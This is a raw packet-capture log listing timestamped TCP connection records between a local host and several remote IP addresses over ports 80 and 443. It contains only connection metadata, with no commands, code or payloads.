Nov 25, 2024 05:46:47.644361973 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.644500017 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.644747019 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.645680904 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.645729065 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.646531105 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.646543980 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.646554947 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.646568060 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.646593094 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.647610903 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.647656918 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.650480986 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.650491953 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.650504112 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.650516033 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.650605917 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.650605917 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.650865078 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.650876045 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.650887966 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.650937080 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.650954008 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.652128935 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.652264118 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.653280020 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.653290033 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.653301001 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.653362989 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.653362989 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.654285908 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.654603958 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.655517101 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.655529022 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.655564070 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.655587912 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.655667067 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.655704021 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.656327963 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.656338930 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.656372070 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.657500029 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.657634974 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.658682108 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.658693075 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.658704996 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.658734083 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.658751011 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.659679890 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.659740925 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.659851074 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.660823107 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.661715031 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.661726952 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.661739111 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.661782980 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.661819935 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.663007975 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.663347960 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.663883924 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.664058924 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.664222956 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.664935112 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.664980888 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.665000916 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.665025949 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.666299105 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.667128086 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.667227983 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.667239904 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.667318106 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.668334007 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.670176029 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.679063082 CET	49885	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:47.766475916 CET	443	49878	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.766545057 CET	443	49878	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.766726971 CET	49878	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.766838074 CET	49878	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.766855001 CET	443	49878	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.766865969 CET	49878	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.766870022 CET	443	49878	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.769649029 CET	49888	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.769687891 CET	443	49888	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.769750118 CET	49888	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.769947052 CET	49888	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.769967079 CET	443	49888	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.777612925 CET	443	49880	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.777770042 CET	443	49880	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.777863026 CET	49880	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.778150082 CET	49880	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.778160095 CET	443	49880	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.782030106 CET	49889	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.782067060 CET	443	49889	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.782335997 CET	49889	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.782489061 CET	49889	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.782510042 CET	443	49889	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.783565998 CET	443	49882	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.783732891 CET	443	49882	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.783870935 CET	49882	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.783883095 CET	49882	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.783886909 CET	443	49882	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.783898115 CET	49882	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.783901930 CET	443	49882	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.785929918 CET	49890	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.785960913 CET	443	49890	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.786202908 CET	49890	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.786297083 CET	49890	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.786307096 CET	443	49890	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.812521935 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.812535048 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.812591076 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.812834978 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.812939882 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.813004017 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.813922882 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.813963890 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.814028978 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.815043926 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.815076113 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.815100908 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.815125942 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.815819025 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.815973997 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.816019058 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.816869020 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.816935062 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.816997051 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.817038059 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.817915916 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.817991972 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.817992926 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.818212032 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.818718910 CET	443	49881	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.818805933 CET	443	49881	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.818869114 CET	49881	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.819228888 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.819243908 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.819256067 CET	49881	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.819277048 CET	443	49881	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.819278955 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.819288969 CET	49881	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.819293976 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.819294930 CET	443	49881	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.820545912 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.820559025 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.820610046 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.820631981 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.821219921 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.821233034 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.821260929 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.821278095 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.822295904 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.822309971 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.822357893 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.822384119 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.823416948 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.823431969 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.823481083 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.823507071 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.824502945 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.824518919 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.824631929 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.825644016 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.825655937 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.825700045 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.826828957 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.826842070 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.826874018 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.826910973 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.827621937 CET	49891	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.827665091 CET	443	49891	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.827686071 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.827760935 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.827783108 CET	49891	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.828010082 CET	49891	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.828020096 CET	443	49891	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.828262091 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.828310013 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.828834057 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.828845024 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.828891993 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.829925060 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.829936028 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.829998016 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.830944061 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.830991983 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.831193924 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.831336975 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.832030058 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.832448959 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.833141088 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.833158016 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.833177090 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.833189011 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.833214998 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.834184885 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.834234953 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.834849119 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.834983110 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.835266113 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.835310936 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.836342096 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.836388111 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.836394072 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.836399078 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.836431980 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.837440968 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.837497950 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.838548899 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.838561058 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.838572025 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.838627100 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.838710070 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.839615107 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.839660883 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.840734959 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.840745926 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.840755939 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.840799093 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.840825081 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.841800928 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.841814041 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.841856003 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.841872931 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.842888117 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.842900038 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.842945099 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.843944073 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.844046116 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.845067024 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.845077991 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.845088005 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.845135927 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.845158100 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.846132994 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.846174002 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.846915007 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.846961021 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.847269058 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.847280025 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.847309113 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.847327948 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.848285913 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.848551035 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.849406958 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.849417925 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.849423885 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.849526882 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.850455999 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.850500107 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.850670099 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.850718021 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.851545095 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.851596117 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.851687908 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.851855040 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.852423906 CET	49892	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:47.852459908 CET	443	49892	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:47.852657080 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.852670908 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.852766991 CET	49892	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:47.852777004 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.852777004 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.853694916 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.853766918 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.854808092 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.854825974 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.854839087 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.854882956 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.854918003 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.855876923 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.856348991 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.856406927 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.856959105 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.857012987 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.858072042 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.858084917 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.858097076 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.858127117 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.858160973 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.859261990 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.859333992 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.859335899 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.859711885 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.860213041 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.860326052 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.861299992 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.861310959 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.861323118 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.861349106 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.861382008 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.861788034 CET	49892	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:47.861804962 CET	443	49892	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:47.862365007 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.862579107 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.862668037 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.862842083 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.863441944 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.863492012 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.864566088 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.864578009 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.864590883 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.864629984 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.864669085 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.865756035 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.865844011 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.865992069 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.866056919 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.866714954 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.866774082 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.866975069 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.867027998 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.867790937 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.867852926 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.868154049 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.868201971 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.868901968 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.869319916 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:47.869385004 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:47.886782885 CET	443	49879	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.886843920 CET	443	49879	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.886913061 CET	49879	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.887139082 CET	49879	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.887146950 CET	443	49879	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.887157917 CET	49879	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.887161970 CET	443	49879	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.892092943 CET	49893	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.892117977 CET	443	49893	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:47.892296076 CET	49893	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.892446041 CET	49893	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:47.892457008 CET	443	49893	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:48.013986111 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.014004946 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.014066935 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.014508963 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.014573097 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.014585018 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.015321970 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.015616894 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.015633106 CET	80	49829	185.215.113.206	192.168.2.6
